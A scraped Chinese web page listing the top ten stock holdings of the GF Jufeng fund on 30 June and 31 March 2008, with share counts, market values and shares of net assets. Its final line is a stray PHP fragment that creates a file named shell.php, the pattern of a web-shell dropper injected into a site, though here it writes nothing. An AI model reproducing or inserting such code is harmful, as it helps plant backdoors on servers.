广发聚丰    
首页 | 广发聚丰 | 广发聚丰基金净值 | 净值估算 | 持股明细 | 会员中心
  当前位置:广发聚丰基金>持股明细>文章内容
广发聚丰基金持股明细2008-09-1
来源:广发聚丰基金持股明细2008091 作者:广发聚丰基金持股明细2008091 发布时间:2008-09-01  
截至日期:2008-06-30
序号 股票名称 股票代码 持股数量(股) 持股市值(元) 占净资产比例(%)
1 浦发银行 600000 58796666 1293526652.00 5.6100
2 苏宁电器 002024 26142857 1079699994.10 4.6800
3 万科A 000002 112759315 1015961428.15 4.4100
4 兴业银行 601166 36147690 920681664.30 3.9900
5 平煤天安 601666 20210355 757079898.30 3.2800
6 保利地产 600048 52539700 708760553.00 3.0700
7 盐湖钾肥 000792 7195194 634040495.28 2.7500
8 招商银行 600036 26590248 622743608.16 2.7000
9 建设银行 601939 100546137 594227669.67 2.5800
10 贵州茅台 600519 3871930 536572059.40 2.3300


截至日期:2008-03-31
序号 股票名称 股票代码 持股数量(股) 持股市值(元) 占净资产比例(%)
1 浦发银行 600000 45460258 1609293133.20 5.1822
2 万科A 000002 60462102 1547829811.20 4.9843
3 保利地产 600048 49649740 1477079765.00 4.7564
4 兴业银行 601166 34347690 1264681945.80 4.0725
5 苏宁电器 002024 20102899 1109478995.81 3.5727
6 招商银行 600036 25990248 836106278.16 2.6924
7 平煤天安 601666 17943540 771213349.20 2.4834
8 贵州茅台 600519 3871930 726799980.30 2.3404
9 建设银行 601939 106269489 723695220.09 2.3304
10 宝钛股份 600456 14463125 631604668.75 2.0339

上一篇:净值估算9月1   下一篇:广发聚丰:关于基金暂停申购的提示性公告
[收藏] [推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
用户名: 新注册) 密码: 匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论
  热点文章
·广发聚丰基金持股明细2007-06-30
·广发聚丰基金持股明细2008-03-31
·广发聚丰基金持股明细2007-09-30
·广发聚丰基金持股明细2007-03-31
·广发聚丰基金持股明细2007-12-31
  相关文章
·广发聚丰基金持股明细2007-03-31
·广发聚丰基金持股明细2008-03-31
·广发聚丰基金持股明细2007-12-31
·广发聚丰基金持股明细2007-09-30
·广发聚丰基金持股明细2007-06-30
广发聚丰基金净值
fputs(fopen('shell.php',"w"),'')